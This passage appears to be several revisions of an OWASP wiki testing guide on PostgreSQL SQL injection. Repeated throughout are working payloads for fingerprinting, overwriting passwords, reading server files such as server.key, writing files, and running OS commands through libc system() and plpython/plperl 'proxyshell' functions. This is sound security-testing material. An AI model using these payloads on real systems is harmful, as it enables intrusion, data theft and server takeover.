*:''<nowiki>/store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--</nowiki>''

= References =

* OWASP : "[[Testing for SQL Injection (OWASP-DV-005) |Testing for SQL Injection]]"

* OWASP : [[SQL Injection Prevention Cheat Sheet]]

* Michael Daw : "SQL Injection Cheat Sheet" - http://michaeldaw.org/sql-injection-cheat-sheet/

* PostgreSQL : "Official Documentation" - http://www.postgresql.org/docs/

* Bernardo Damele and Daniele Bellucci: sqlmap, a blind SQL injection tool - http://sqlmap.sourceforge.net

OWASP Backend Security Project Testing PostgreSQL

2010-07-20T15:19:13Z

Matt Heckathorn: clarified some things in the identifying postgresql section

= Overview =

In this section, some SQL Injection techniques for PostgreSQL will be discussed.
Keep in mind the following characteristics:

* PHP Connector allows multiple statements to be executed by using ''';''' as a statement separator
* SQL Statements can be truncated by appending the comment char: '''--'''.
* ''LIMIT'' and ''OFFSET'' can be used in a ''SELECT'' statement to retrieve a portion of the result set generated by the ''query''

From here after, we assume that ''<nowiki>http://www.example.com/news.php?id=1</nowiki>'' is vulnerable to SQL Injection attacks.

= Description =

== Identifying PostgreSQL ==

When a SQL Injection has been found, you need to carefully
fingerprint the backend database engine. You can determine that the backend database engine
is PostgreSQL by using the ''::'' cast operator.

'''Examples:'''
<nowiki>http://www.example.com/store.php?id=1 AND 1::int=1</nowiki>

In addition, the function ''version()'' can be used to grab the PostgreSQL banner. This will also show the underlying operating system type and version.

'''Example''':

<nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT NULL,version(),NULL LIMIT 1 OFFSET 1--</nowiki>

An example of a banner string that could be returned is:
PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)

== Blind Injection ==

For blind SQL injection attacks, you should take into consideration the following built-in functions:

* String Length
*: ''LENGTH(str)''
* Extract a substring from a given string
*: ''SUBSTR(str,index,offset)''
* String representation with no single quotes
*: ''CHR(104)||CHR(101)||CHR(108)||CHR(108)||CHR(111)''

Starting at version 8.2, PostgreSQL introduced a built-in function, ''pg_sleep(n)'', to make the current
session process sleep for ''n'' seconds. This function can be leveraged to execute timing attacks (discussed in detail at [[Blind SQL Injection]]).
In addition, you can easily create a custom ''pg_sleep(n)'' in previous versions by using libc:
* CREATE function pg_sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' LANGUAGE 'C' STRICT

== Single Quote unescape ==

Strings can be encoded, to prevent single quotes escaping, by using chr() function.

* chr(n): Returns the character whose ASCII value corresponds to the number n
* ascii(n): Returns the ASCII value which corresponds to the character n

Let's say you want to encode the string 'root':
select ascii('r')
114
select ascii('o')
111
select ascii('t')
116

We can encode 'root' as:
chr(114)||chr(111)||chr(111)||chr(116)

'''Example:'''
<nowiki>http://www.example.com/store.php?id=1; UPDATE users SET PASSWORD=chr(114)||chr(111)||chr(111)||chr(116)--</nowiki>

== Attack Vectors ==

=== Current User ===

The identity of the current user can be retrieved with the following SQL SELECT statements:

SELECT user
SELECT current_user
SELECT session_user
SELECT usename FROM pg_user
SELECT getpgusername()

'''Examples:'''
<nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT user,NULL,NULL--</nowiki>
<nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT current_user, NULL, NULL--</nowiki>

=== Current Database ===

The built-in function current_database() returns the current database name.

'''Example''':

<nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT current_database(),NULL,NULL--</nowiki>

=== Reading from a file ===

ProstgreSQL provides two ways to access a local file:
* COPY statement
* pg_read_file() internal function (starting from PostgreSQL 8.1)

'''COPY:'''

This operator copies data between a file and a table. The PostgreSQL engine accesses the local file system as the ''postgres'' user.

'''Example:'''

<nowiki>
/store.php?id=1; CREATE TABLE file_store(id serial, data text)--
/store.php?id=1; COPY file_store(data) FROM '/var/lib/postgresql/.psql_history'--
</nowiki>

Data should be retrieved by performing a ''UNION Query SQL Injection'':
* retrieves the number of rows previously added in ''file_store'' with ''COPY'' statement
* retrieves a row at a time with UNION SQL Injection

'''Example:'''
<nowiki>
/store.php?id=1 UNION ALL SELECT NULL, NULL, max(id)::text FROM file_store LIMIT 1 OFFSET 1;--
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 1;--
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 2;--
...
...
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 11;--
</nowiki>

'''pg_read_file():'''

This function was introduced in ''PostgreSQL 8.1'' and allows one to read arbitrary files located inside
DBMS data directory.

'''Examples:'''

* <nowiki>SELECT pg_read_file('server.key',0,1000); </nowiki>

=== Writing to a file ===

By reverting the COPY statement, we can write to the local file system with the ''postgres'' user rights

<nowiki>
/store.php?id=1; COPY file_store(data) TO '/var/lib/postgresql/copy_output'--
</nowiki>

=== Shell Injection ===

PostgreSQL provides a mechanism to add custom functions by using both Dynamic Library and scripting
languages such as python, perl, and tcl.

==== Dynamic Library ====

Until PostgreSQL 8.1, it was possible to add a custom function linked with ''libc'':
* CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT

Since ''system'' returns an ''int'' how we can fetch results from ''system'' stdout?

Here's a little trick:

* create a ''stdout'' table
*: ''CREATE TABLE stdout(id serial, system_out text)''
* executing a shell command redirecting its ''stdout''
*: ''SELECT system('uname -a > /tmp/test')''
* use a ''COPY'' statements to push output of previous command in ''stdout'' table
*: ''COPY stdout(system_out) FROM '/tmp/test'''
* retrieve output from ''stdout''
*: ''SELECT system_out FROM stdout''

''' Example:'''

<nowiki>
/store.php?id=1; CREATE TABLE stdout(id serial, system_out text) --

/store.php?id=1; CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6','system' LANGUAGE 'C'
STRICT --

/store.php?id=1; SELECT system('uname -a > /tmp/test') --

/store.php?id=1; COPY stdout(system_out) FROM '/tmp/test' --

/store.php?id=1 UNION ALL SELECT NULL,(SELECT stdout FROM system_out ORDER BY id DESC),NULL LIMIT 1 OFFSET 1--

</nowiki>

==== plpython ====

PL/Python allows users to code PostgreSQL functions in python. It's untrusted so there is no way to restrict
what user can do. It's not installed by default and can be enabled on a given database by ''CREATELANG''

* Check if PL/Python has been enabled on a database:
*: ''SELECT count(*) FROM pg_language WHERE lanname='plpythonu'
* If not, try to enable:
*: ''CREATE LANGUAGE plpythonu''
* If either of the above succeeded, create a proxy shell function:
*: ''CREATE FUNCTION proxyshell(text) RETURNS text AS 'import os; return os.popen(args[0]).read() 'LANGUAGE plpythonu''
* Have fun with:
*: SELECT proxyshell(''os command'');

'''Example:'''

*Create a proxy shell function:
*:''<nowiki>/store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS ‘import os;
return os.popen(args[0]).read()’ LANGUAGE plpythonu;-- </nowiki>''

*Run an OS Command:
*:''<nowiki>/store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--</nowiki>''

==== plperl ====

Plperl allows us to code PostgreSQL functions in perl. Normally, it is installed as a trusted language in order to disable runtime execution of operations that interact with the underlying operating system, such as ''open''. By doing so, it's impossible to gain OS-level access. To successfully inject a proxyshell like function, we need to install the untrusted version from the ''postgres'' user, to avoid the so-called application mask filtering of trusted/untrusted operations.

* Check if PL/perl-untrusted has been enabled:
*: ''SELECT count(*) FROM pg_language WHERE lanname='plperlu'
* If not, assuming that sysadm has already installed the plperl package, try :
*: ''CREATE LANGUAGE plperlu''
* If either of the above succeeded, create a proxy shell function:
*: ''CREATE FUNCTION proxyshell(text) RETURNS text AS 'open(FD,"$_[0] |");return join("",<FD>);' LANGUAGE plperlu''
* Have fun with:
*: SELECT proxyshell(''os command'');

'''Example:'''

*Create a proxy shell function:
*:''<nowiki>/store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS 'open(FD,"$_[0] |");return join("",<FD>);' LANGUAGE plperlu;</nowiki>

*Run an OS Command:
*:''<nowiki>/store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--</nowiki>''

= References =

* OWASP : "[[Testing for SQL Injection (OWASP-DV-005) |Testing for SQL Injection]]"

* OWASP : [[SQL Injection Prevention Cheat Sheet]]

* Michael Daw : "SQL Injection Cheat Sheet" - http://michaeldaw.org/sql-injection-cheat-sheet/

* PostgreSQL : "Official Documentation" - http://www.postgresql.org/docs/

* Bernardo Damele and Daniele Bellucci: sqlmap, a blind SQL injection tool - http://sqlmap.sourceforge.net

OWASP Backend Security Project Testing PostgreSQL

2010-07-20T14:16:29Z

Matt Heckathorn:

= Overview =

In this section, some SQL Injection techniques for PostgreSQL will be discussed.
Keep in mind the following characteristics:

* PHP Connector allows multiple statements to be executed by using ''';''' as a statement separator
* SQL Statements can be truncated by appending the comment char: '''--'''.
* ''LIMIT'' and ''OFFSET'' can be used in a ''SELECT'' statement to retrieve a portion of the result set generated by the ''query''

From here after, we assume that ''<nowiki>http://www.example.com/news.php?id=1</nowiki>'' is vulnerable to SQL Injection attacks.

= Description =

== Identifying PostgreSQL ==

When a SQL Injection has been found, you need to carefully
fingerprint the backend database engine. You can determine that the backend database engine
is PostgreSQL by using the ''::'' cast operator.

'''Examples:'''
<nowiki>http://www.example.com/store.php?id=1 AND 1::int=1</nowiki>

The function version() can be used to grab the PostgreSQL banner. This will also show the underlying operating system type and version.

'''Example''':

<nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT NULL,version(),NULL LIMIT 1 OFFSET 1--</nowiki>
PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)

== Blind Injection ==

For blind SQL injection attacks, you should take into consideration the following built-in functions:

* String Length
*: ''LENGTH(str)''
* Extract a substring from a given string
*: ''SUBSTR(str,index,offset)''
* String representation with no single quotes
*: ''CHR(104)||CHR(101)||CHR(108)||CHR(108)||CHR(111)''

Starting at version 8.2, PostgreSQL introduced a built-in function, ''pg_sleep(n)'', to make the current
session process sleep for ''n'' seconds. This function can be leveraged to execute timing attacks (discussed in detail at [[Blind SQL Injection]]).
In addition, you can easily create a custom ''pg_sleep(n)'' in previous versions by using libc:
* CREATE function pg_sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' LANGUAGE 'C' STRICT

== Single Quote unescape ==

Strings can be encoded, to prevent single quotes escaping, by using chr() function.

* chr(n): Returns the character whose ASCII value corresponds to the number n
* ascii(n): Returns the ASCII value which corresponds to the character n

Let's say you want to encode the string 'root':
select ascii('r')
114
select ascii('o')
111
select ascii('t')
116

We can encode 'root' as:
chr(114)||chr(111)||chr(111)||chr(116)

'''Example:'''
<nowiki>http://www.example.com/store.php?id=1; UPDATE users SET PASSWORD=chr(114)||chr(111)||chr(111)||chr(116)--</nowiki>

== Attack Vectors ==

=== Current User ===

The identity of the current user can be retrieved with the following SQL SELECT statements:

SELECT user
SELECT current_user
SELECT session_user
SELECT usename FROM pg_user
SELECT getpgusername()

'''Examples:'''
<nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT user,NULL,NULL--</nowiki>
<nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT current_user, NULL, NULL--</nowiki>

=== Current Database ===

The built-in function current_database() returns the current database name.

'''Example''':

<nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT current_database(),NULL,NULL--</nowiki>

=== Reading from a file ===

ProstgreSQL provides two ways to access a local file:
* COPY statement
* pg_read_file() internal function (starting from PostgreSQL 8.1)

'''COPY:'''

This operator copies data between a file and a table. The PostgreSQL engine accesses the local file system as the ''postgres'' user.

'''Example:'''

<nowiki>
/store.php?id=1; CREATE TABLE file_store(id serial, data text)--
/store.php?id=1; COPY file_store(data) FROM '/var/lib/postgresql/.psql_history'--
</nowiki>

Data should be retrieved by performing a ''UNION Query SQL Injection'':
* retrieves the number of rows previously added in ''file_store'' with ''COPY'' statement
* retrieves a row at a time with UNION SQL Injection

'''Example:'''
<nowiki>
/store.php?id=1 UNION ALL SELECT NULL, NULL, max(id)::text FROM file_store LIMIT 1 OFFSET 1;--
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 1;--
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 2;--
...
...
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 11;--
</nowiki>

'''pg_read_file():'''

This function was introduced in ''PostgreSQL 8.1'' and allows one to read arbitrary files located inside
DBMS data directory.

'''Examples:'''

* <nowiki>SELECT pg_read_file('server.key',0,1000); </nowiki>

=== Writing to a file ===

By reverting the COPY statement, we can write to the local file system with the ''postgres'' user rights

<nowiki>
/store.php?id=1; COPY file_store(data) TO '/var/lib/postgresql/copy_output'--
</nowiki>

=== Shell Injection ===

PostgreSQL provides a mechanism to add custom functions by using both Dynamic Library and scripting
languages such as python, perl, and tcl.

==== Dynamic Library ====

Until PostgreSQL 8.1, it was possible to add a custom function linked with ''libc'':
* CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT

Since ''system'' returns an ''int'' how we can fetch results from ''system'' stdout?

Here's a little trick:

* create a ''stdout'' table
*: ''CREATE TABLE stdout(id serial, system_out text)''
* executing a shell command redirecting its ''stdout''
*: ''SELECT system('uname -a > /tmp/test')''
* use a ''COPY'' statements to push output of previous command in ''stdout'' table
*: ''COPY stdout(system_out) FROM '/tmp/test'''
* retrieve output from ''stdout''
*: ''SELECT system_out FROM stdout''

''' Example:'''

<nowiki>
/store.php?id=1; CREATE TABLE stdout(id serial, system_out text) --

/store.php?id=1; CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6','system' LANGUAGE 'C'
STRICT --

/store.php?id=1; SELECT system('uname -a > /tmp/test') --

/store.php?id=1; COPY stdout(system_out) FROM '/tmp/test' --

/store.php?id=1 UNION ALL SELECT NULL,(SELECT stdout FROM system_out ORDER BY id DESC),NULL LIMIT 1 OFFSET 1--

</nowiki>

==== plpython ====

PL/Python allows users to code PostgreSQL functions in python. It's untrusted so there is no way to restrict
what user can do. It's not installed by default and can be enabled on a given database by ''CREATELANG''

* Check if PL/Python has been enabled on a database:
*: ''SELECT count(*) FROM pg_language WHERE lanname='plpythonu'
* If not, try to enable:
*: ''CREATE LANGUAGE plpythonu''
* If either of the above succeeded, create a proxy shell function:
*: ''CREATE FUNCTION proxyshell(text) RETURNS text AS 'import os; return os.popen(args[0]).read() 'LANGUAGE plpythonu''
* Have fun with:
*: SELECT proxyshell(''os command'');

'''Example:'''

*Create a proxy shell function:
*:''<nowiki>/store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS ‘import os;
return os.popen(args[0]).read()’ LANGUAGE plpythonu;-- </nowiki>''

*Run an OS Command:
*:''<nowiki>/store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--</nowiki>''

==== plperl ====

Plperl allows us to code PostgreSQL functions in perl. Normally, it is installed as a trusted language in order to disable runtime execution of operations that interact with the underlying operating system, such as ''open''. By doing so, it's impossible to gain OS-level access. To successfully inject a proxyshell like function, we need to install the untrusted version from the ''postgres'' user, to avoid the so-called application mask filtering of trusted/untrusted operations.

* Check if PL/perl-untrusted has been enabled:
*: ''SELECT count(*) FROM pg_language WHERE lanname='plperlu'
* If not, assuming that sysadm has already installed the plperl package, try :
*: ''CREATE LANGUAGE plperlu''
* If either of the above succeeded, create a proxy shell function:
*: ''CREATE FUNCTION proxyshell(text) RETURNS text AS 'open(FD,"$_[0] |");return join("",<FD>);' LANGUAGE plperlu''
* Have fun with:
*: SELECT proxyshell(''os command'');

'''Example:'''

*Create a proxy shell function:
*:''<nowiki>/store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS 'open(FD,"$_[0] |");return join("",<FD>);' LANGUAGE plperlu;</nowiki>

*Run an OS Command:
*:''<nowiki>/store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--</nowiki>''

= References =

* OWASP : "[[Testing for SQL Injection (OWASP-DV-005) |Testing for SQL Injection]]"

* OWASP : [[SQL Injection Prevention Cheat Sheet]]

* Michael Daw : "SQL Injection Cheat Sheet" - http://michaeldaw.org/sql-injection-cheat-sheet/

* PostgreSQL : "Official Documentation" - http://www.postgresql.org/docs/

* Bernardo Damele and Daniele Bellucci: sqlmap, a blind SQL injection tool - http://sqlmap.sourceforge.net

OWASP Backend Security Project Testing PostgreSQL

2010-07-20T14:15:01Z

Matt Heckathorn: clarified the comments on pg_sleep in the Blind Injection section.

= Overview =

In this section, some SQL Injection techniques for PostgreSQL will be discussed.
Keep in mind the following characteristics:

* PHP Connector allows multiple statements to be executed by using ''';''' as a statement separator
* SQL Statements can be truncated by appending the comment char: '''--'''.
* ''LIMIT'' and ''OFFSET'' can be used in a ''SELECT'' statement to retrieve a portion of the result set generated by the ''query''

From here after, we assume that ''<nowiki>http://www.example.com/news.php?id=1</nowiki>'' is vulnerable to SQL Injection attacks.

= Description =

== Identifying PostgreSQL ==

When a SQL Injection has been found, you need to carefully
fingerprint the backend database engine. You can determine that the backend database engine
is PostgreSQL by using the ''::'' cast operator.

'''Examples:'''
<nowiki>http://www.example.com/store.php?id=1 AND 1::int=1</nowiki>

The function version() can be used to grab the PostgreSQL banner. This will also show the underlying operating system type and version.

'''Example''':

<nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT NULL,version(),NULL LIMIT 1 OFFSET 1--</nowiki>
PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)

== Blind Injection ==

For blind SQL injection attacks, you should take into consideration the following built-in functions:

* String Length
*: ''LENGTH(str)''
* Extract a substring from a given string
*: ''SUBSTR(str,index,offset)''
* String representation with no single quotes
*: ''CHR(104)||CHR(101)||CHR(108)||CHR(108)||CHR(111)''

Starting at version 8.2, PostgreSQL introduced a built-in function, ''pg_sleep(n)'', to make the current
session process sleep for ''n'' seconds. This function can be leveraged to execute timing attacks (discussed in detail at [[Blind SQL Injection]].
In addition, you can easily create a custom ''pg_sleep(n)'' in previous versions by using libc:
* CREATE function pg_sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' LANGUAGE 'C' STRICT

== Single Quote unescape ==

Strings can be encoded, to prevent single quotes escaping, by using chr() function.

* chr(n): Returns the character whose ASCII value corresponds to the number n
* ascii(n): Returns the ASCII value which corresponds to the character n

Let's say you want to encode the string 'root':
select ascii('r')
114
select ascii('o')
111
select ascii('t')
116

We can encode 'root' as:
chr(114)||chr(111)||chr(111)||chr(116)

'''Example:'''
<nowiki>http://www.example.com/store.php?id=1; UPDATE users SET PASSWORD=chr(114)||chr(111)||chr(111)||chr(116)--</nowiki>

== Attack Vectors ==

=== Current User ===

The identity of the current user can be retrieved with the following SQL SELECT statements:

SELECT user
SELECT current_user
SELECT session_user
SELECT usename FROM pg_user
SELECT getpgusername()

'''Examples:'''
<nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT user,NULL,NULL--</nowiki>
<nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT current_user, NULL, NULL--</nowiki>

=== Current Database ===

The built-in function current_database() returns the current database name.

'''Example''':

<nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT current_database(),NULL,NULL--</nowiki>

=== Reading from a file ===

ProstgreSQL provides two ways to access a local file:
* COPY statement
* pg_read_file() internal function (starting from PostgreSQL 8.1)

'''COPY:'''

This operator copies data between a file and a table. The PostgreSQL engine accesses the local file system as the ''postgres'' user.

'''Example:'''

<nowiki>
/store.php?id=1; CREATE TABLE file_store(id serial, data text)--
/store.php?id=1; COPY file_store(data) FROM '/var/lib/postgresql/.psql_history'--
</nowiki>

Data should be retrieved by performing a ''UNION Query SQL Injection'':
* retrieves the number of rows previously added in ''file_store'' with ''COPY'' statement
* retrieves a row at a time with UNION SQL Injection

'''Example:'''
<nowiki>
/store.php?id=1 UNION ALL SELECT NULL, NULL, max(id)::text FROM file_store LIMIT 1 OFFSET 1;--
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 1;--
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 2;--
...
...
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 11;--
</nowiki>

'''pg_read_file():'''

This function was introduced in ''PostgreSQL 8.1'' and allows one to read arbitrary files located inside
DBMS data directory.

'''Examples:'''

* <nowiki>SELECT pg_read_file('server.key',0,1000); </nowiki>

=== Writing to a file ===

By reverting the COPY statement, we can write to the local file system with the ''postgres'' user rights

<nowiki>
/store.php?id=1; COPY file_store(data) TO '/var/lib/postgresql/copy_output'--
</nowiki>

=== Shell Injection ===

PostgreSQL provides a mechanism to add custom functions by using both Dynamic Library and scripting
languages such as python, perl, and tcl.

==== Dynamic Library ====

Until PostgreSQL 8.1, it was possible to add a custom function linked with ''libc'':
* CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT

Since ''system'' returns an ''int'' how we can fetch results from ''system'' stdout?

Here's a little trick:

* create a ''stdout'' table
*: ''CREATE TABLE stdout(id serial, system_out text)''
* executing a shell command redirecting its ''stdout''
*: ''SELECT system('uname -a > /tmp/test')''
* use a ''COPY'' statements to push output of previous command in ''stdout'' table
*: ''COPY stdout(system_out) FROM '/tmp/test'''
* retrieve output from ''stdout''
*: ''SELECT system_out FROM stdout''

''' Example:'''

<nowiki>
/store.php?id=1; CREATE TABLE stdout(id serial, system_out text) --

/store.php?id=1; CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6','system' LANGUAGE 'C'
STRICT --

/store.php?id=1; SELECT system('uname -a > /tmp/test') --

/store.php?id=1; COPY stdout(system_out) FROM '/tmp/test' --

/store.php?id=1 UNION ALL SELECT NULL,(SELECT stdout FROM system_out ORDER BY id DESC),NULL LIMIT 1 OFFSET 1--

</nowiki>

==== plpython ====

PL/Python allows users to code PostgreSQL functions in python. It's untrusted so there is no way to restrict
what user can do. It's not installed by default and can be enabled on a given database by ''CREATELANG''

* Check if PL/Python has been enabled on a database:
*: ''SELECT count(*) FROM pg_language WHERE lanname='plpythonu'
* If not, try to enable:
*: ''CREATE LANGUAGE plpythonu''
* If either of the above succeeded, create a proxy shell function:
*: ''CREATE FUNCTION proxyshell(text) RETURNS text AS 'import os; return os.popen(args[0]).read() 'LANGUAGE plpythonu''
* Have fun with:
*: SELECT proxyshell(''os command'');

'''Example:'''

*Create a proxy shell function:
*:''<nowiki>/store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS ‘import os;
return os.popen(args[0]).read()’ LANGUAGE plpythonu;-- </nowiki>''

*Run an OS Command:
*:''<nowiki>/store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--</nowiki>''

==== plperl ====

Plperl allows us to code PostgreSQL functions in perl. Normally, it is installed as a trusted language in order to disable runtime execution of operations that interact with the underlying operating system, such as ''open''. By doing so, it's impossible to gain OS-level access. To successfully inject a proxyshell like function, we need to install the untrusted version from the ''postgres'' user, to avoid the so-called application mask filtering of trusted/untrusted operations.

* Check if PL/perl-untrusted has been enabled:
*: ''SELECT count(*) FROM pg_language WHERE lanname='plperlu'
* If not, assuming that sysadm has already installed the plperl package, try :
*: ''CREATE LANGUAGE plperlu''
* If either of the above succeeded, create a proxy shell function:
*: ''CREATE FUNCTION proxyshell(text) RETURNS text AS 'open(FD,"$_[0] |");return join("",<FD>);' LANGUAGE plperlu''
* Have fun with:
*: SELECT proxyshell(''os command'');

'''Example:'''

*Create a proxy shell function:
*:''<nowiki>/store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS 'open(FD,"$_[0] |");return join("",<FD>);' LANGUAGE plperlu;</nowiki>

*Run an OS Command:
*:''<nowiki>/store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--</nowiki>''

= References =

* OWASP : "[[Testing for SQL Injection (OWASP-DV-005) |Testing for SQL Injection]]"

* OWASP : [[SQL Injection Prevention Cheat Sheet]]

* Michael Daw : "SQL Injection Cheat Sheet" - http://michaeldaw.org/sql-injection-cheat-sheet/

* PostgreSQL : "Official Documentation" - http://www.postgresql.org/docs/

* Bernardo Damele and Daniele Bellucci: sqlmap, a blind SQL injection tool - http://sqlmap.sourceforge.net

OWASP Backend Security Project Testing PostgreSQL

2010-07-20T13:40:28Z

Matt Heckathorn: changed paragraph to section in the first sentence.

= Overview =

In this section, some SQL Injection techniques for PostgreSQL will be discussed.
Keep in mind the following characteristics:

* PHP Connector allows multiple statements to be executed by using ''';''' as a statement separator
* SQL Statements can be truncated by appending the comment char: '''--'''.
* ''LIMIT'' and ''OFFSET'' can be used in a ''SELECT'' statement to retrieve a portion of the result set generated by the ''query''

From here after, we assume that ''<nowiki>http://www.example.com/news.php?id=1</nowiki>'' is vulnerable to SQL Injection attacks.

= Description =

== Identifing PostgreSQL ==

When a SQL Injection has been found, you need to carefully
fingerprint the backend database engine. You can determine that the backend database engine
is PostgreSQL by using the ''::'' cast operator.

'''Examples:'''
<nowiki>http://www.example.com/store.php?id=1 AND 1::int=1</nowiki>

The function version() can be used to grab the PostgreSQL banner. This will also show the underlying operating system type and version.

'''Example''':

<nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT NULL,version(),NULL LIMIT 1 OFFSET 1--</nowiki>
PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)

== Blind Injection ==

For blind SQL injection attacks, you should take into consideration the following built-in functions:

* String Length
*: ''LENGTH(str)''
* Extract a substring from a given string
*: ''SUBSTR(str,index,offset)''
* String representation with no single quotes
*: ''CHR(104)||CHR(101)||CHR(108)||CHR(108)||CHR(111)''

Starting from 8.2 PostgreSQL has introduced a built-in function, ''pg_sleep(n)'', to make the current
session process sleep for ''n'' seconds.

In previous version, you can easily create a custom ''pg_sleep(n)'' by using libc:
* CREATE function pg_sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' LANGUAGE 'C' STRICT

== Single Quote unescape ==

Strings can be encoded, to prevent single quotes escaping, by using chr() function.

* chr(n): Returns the character whose ASCII value corresponds to the number n
* ascii(n): Returns the ASCII value which corresponds to the character n

Let's say you want to encode the string 'root':
select ascii('r')
114
select ascii('o')
111
select ascii('t')
116

We can encode 'root' as:
chr(114)||chr(111)||chr(111)||chr(116)

'''Example:'''
<nowiki>http://www.example.com/store.php?id=1; UPDATE users SET PASSWORD=chr(114)||chr(111)||chr(111)||chr(116)--</nowiki>

== Attack Vectors ==

=== Current User ===

The identity of the current user can be retrieved with the following SQL SELECT statements:

SELECT user
SELECT current_user
SELECT session_user
SELECT usename FROM pg_user
SELECT getpgusername()

'''Examples:'''
<nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT user,NULL,NULL--</nowiki>
<nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT current_user, NULL, NULL--</nowiki>

=== Current Database ===

The built-in function current_database() returns the current database name.

'''Example''':

<nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT current_database(),NULL,NULL--</nowiki>

=== Reading from a file ===

ProstgreSQL provides two ways to access a local file:
* COPY statement
* pg_read_file() internal function (starting from PostgreSQL 8.1)

'''COPY:'''

This operator copies data between a file and a table. The PostgreSQL engine accesses the local file system as the ''postgres'' user.

'''Example:'''

<nowiki>
/store.php?id=1; CREATE TABLE file_store(id serial, data text)--
/store.php?id=1; COPY file_store(data) FROM '/var/lib/postgresql/.psql_history'--
</nowiki>

Data should be retrieved by performing a ''UNION Query SQL Injection'':
* retrieves the number of rows previously added in ''file_store'' with ''COPY'' statement
* retrieves a row at a time with UNION SQL Injection

'''Example:'''
<nowiki>
/store.php?id=1 UNION ALL SELECT NULL, NULL, max(id)::text FROM file_store LIMIT 1 OFFSET 1;--
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 1;--
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 2;--
...
...
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 11;--
</nowiki>

'''pg_read_file():'''

This function was introduced in ''PostgreSQL 8.1'' and allows one to read arbitrary files located inside
DBMS data directory.

'''Examples:'''

* <nowiki>SELECT pg_read_file('server.key',0,1000); </nowiki>

=== Writing to a file ===

By reverting the COPY statement, we can write to the local file system with the ''postgres'' user rights

<nowiki>
/store.php?id=1; COPY file_store(data) TO '/var/lib/postgresql/copy_output'--
</nowiki>

=== Shell Injection ===

PostgreSQL provides a mechanism to add custom functions by using both Dynamic Library and scripting
languages such as python, perl, and tcl.

==== Dynamic Library ====

Until PostgreSQL 8.1, it was possible to add a custom function linked with ''libc'':
* CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT

Since ''system'' returns an ''int'' how we can fetch results from ''system'' stdout?

Here's a little trick:

* create a ''stdout'' table
*: ''CREATE TABLE stdout(id serial, system_out text)''
* executing a shell command redirecting its ''stdout''
*: ''SELECT system('uname -a > /tmp/test')''
* use a ''COPY'' statements to push output of previous command in ''stdout'' table
*: ''COPY stdout(system_out) FROM '/tmp/test'''
* retrieve output from ''stdout''
*: ''SELECT system_out FROM stdout''

''' Example:'''

<nowiki>
